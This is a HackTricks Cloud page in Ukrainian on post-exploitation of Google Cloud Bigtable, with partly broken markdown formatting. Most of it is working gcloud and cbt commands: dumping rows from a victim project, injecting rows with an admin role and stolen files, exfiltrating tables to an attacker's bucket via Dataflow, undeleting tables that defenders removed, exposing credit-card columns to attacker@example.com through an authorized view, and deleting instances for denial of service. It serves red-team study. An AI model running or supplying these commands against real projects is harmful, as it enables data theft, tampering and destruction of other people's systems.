GCP - Bigtable Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Bigtable
Для отримання додаткової інформації про Bigtable див.:
Tip
Встановіть
cbtCLI один раз через Cloud SDK, щоб наведенні нижче команди працювали локально:Встановити cbt CLI
gcloud components install cbt
Читання рядків
Дозволи: bigtable.tables.readRows
cbt постачається з Cloud SDK і працює з admin/data APIs без потреби в проміжному ПЗ. Вкажіть його на скомпрометований проект/інстанс і вивантажте рядки прямо з таблиці. Обмежте сканування, якщо потрібно лише переглянути.
Прочитати записи Bigtable
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Запис рядків
**Права доступу:** `bigtable.tables.mutateRows`, (вам знадобиться `bigtable.tables.readRows`, щоб підтвердити зміну).
Використайте той самий інструмент, щоб вставляти або оновлювати довільні клітинки. Це найшвидший спосіб закласти backdoor у конфігураціях, розмістити web shells або впровадити отруєні рядки у набір даних.
<details>
<summary>Впровадити шкідливий рядок</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set приймає raw bytes через синтаксис @/path, тож ви можете відправити compiled payloads або serialized protobufs саме так, як цього очікують downstream services.
Вивантаження рядків у ваш bucket
Права: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Можна exfiltrate вміст цілої таблиці в bucket, контрольований attacker, запустивши Dataflow job, який потоково записує рядки в GCS bucket під вашим контролем.
Note
Note that you will need the permission
iam.serviceAccounts.actAsover a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
Експорт Bigtable у GCS bucket
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Переключіть шаблон на `Cloud_Bigtable_to_GCS_Parquet` або `Cloud_Bigtable_to_GCS_SequenceFile`, якщо ви хочете вивід у форматі Parquet/SequenceFile замість JSON. Дозволи ті ж; змінюється лише шлях до шаблону.
### Імпорт рядків
**Дозволи:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Можна імпортувати вміст цілої таблиці з bucket'а, контрольованого атакуючим, запустивши Dataflow job, який стрімить рядки у GCS bucket, яким ви керуєте. Для цього атакуючому спочатку потрібно створити файл Parquet із даними для імпорту з очікуваною схемою. Атакуючий може спочатку експортувати дані у форматі Parquet, слідуючи попередній техніці з налаштуванням `Cloud_Bigtable_to_GCS_Parquet`, а потім додати нові записи у завантажений parquet файл
> [!NOTE]
> Зауважте, що вам знадобиться дозвіл `iam.serviceAccounts.actAs` на деякий SA з достатніми дозволами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використано default compute SA).
<details>
<summary>Імпорт із GCS bucket до Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Відновлення резервних копій
Дозволи: bigtable.backups.restore, bigtable.tables.create.
Атакувач із такими дозволами може відновити резервну копію в нову таблицю під своїм контролем, щоб відновити старі конфіденційні дані.
Restore Bigtable backup
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>
</details>
### Відновлення таблиць
**Дозволи:** `bigtable.tables.undelete`
Bigtable підтримує м’яке видалення з періодом очікування (зазвичай 7 днів за замовчуванням). Протягом цього вікна атакуючий з правом `bigtable.tables.undelete` може відновити нещодавно видалену таблицю та повернути всі її дані, потенційно отримавши доступ до конфіденційної інформації, яку вважали знищеною.
Це особливо корисно для:
- відновлення даних із таблиць, які видалили захисники під час реагування на інцидент
- доступу до історичних даних, які були навмисно очищені
- скасування випадкових або зловмисних видалень для підтримання persistence
<details>
<summary>Відновити таблицю Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
Операція undelete працює лише в межах налаштованого періоду збереження (за замовчуванням 7 днів). Після закінчення цього вікна таблиця та її дані видаляються назавжди і не можуть бути відновлені цим методом.
Створення уповноважених переглядів
Permissions: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Уповноважені перегляди дозволяють показувати відфільтрований піднабір таблиці. Замість того, щоб дотримуватися принципу найменших привілеїв, використовуйте їх, щоб опублікувати саме ті чутливі набори стовпців/рядків, які вас цікавлять, та внести у білий список власний принципал.
Warning
Справа в тому, що для створення уповноваженого перегляду вам також потрібно мати можливість читати та змінювати рядки в базовій таблиці, отже ви не отримуєте жодних додаткових прав, тому ця техніка переважно марна.
Створити уповноважений перегляд
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
–instance=
–definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’
</details>
Оскільки доступ обмежується межами view, захисники часто не помічають, що ви щойно створили нову високочутливу кінцеву точку.
### Читання Authorized Views
**Permissions:** `bigtable.authorizedViews.readRows`
Якщо у вас є доступ до Authorized View, ви можете читати дані з нього за допомогою Bigtable client libraries, вказавши ім'я authorized view у ваших запитах на читання. Зверніть увагу, що authorized view, ймовірно, обмежуватиме те, до чого ви маєте доступ у таблиці. Нижче наведено приклад на Python:
<details>
<summary>Читання з authorized view (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Denial of Service через операції видалення
Дозволи: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Будь-які дозволи на видалення Bigtable можуть бути використані для атак denial of service. Атакуючий з такими дозволами може порушити роботу, видаливши критичні ресурси Bigtable:
bigtable.appProfiles.delete: Видалення профілів застосунків, що призводить до переривання клієнтських підключень і конфігурацій маршрутизаціїbigtable.authorizedViews.delete: Видалення авторизованих подань, яке відрізає легітимні шляхи доступу для застосунківbigtable.authorizedViews.deleteTagBinding: Видалення зв’язків тегів з авторизованих поданьbigtable.backups.delete: Знищення резервних знімків, усунення варіантів аварійного відновленняbigtable.clusters.delete: Видалення цілих кластерів, що викликає миттєву недоступність данихbigtable.instances.delete: Видалення повних інстансів Bigtable, стирання всіх таблиць і конфігураційbigtable.tables.delete: Видалення окремих таблиць, що призводить до втрати даних і збоїв застосунків
Видалити ресурси Bigtable
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
–instance=
Delete a backup
gcloud bigtable backups delete
–instance=
Delete an app profile
gcloud bigtable app-profiles delete
–instance=
Delete a cluster
gcloud bigtable clusters delete
–instance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> Операції видалення часто виконуються негайно й є незворотними. Переконайтеся, що перед тестуванням цих команд існують резервні копії, оскільки вони можуть спричинити постійну втрату даних та серйозні збої в роботі сервісу.
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримка HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
>
> </details>
HackTricks Cloud

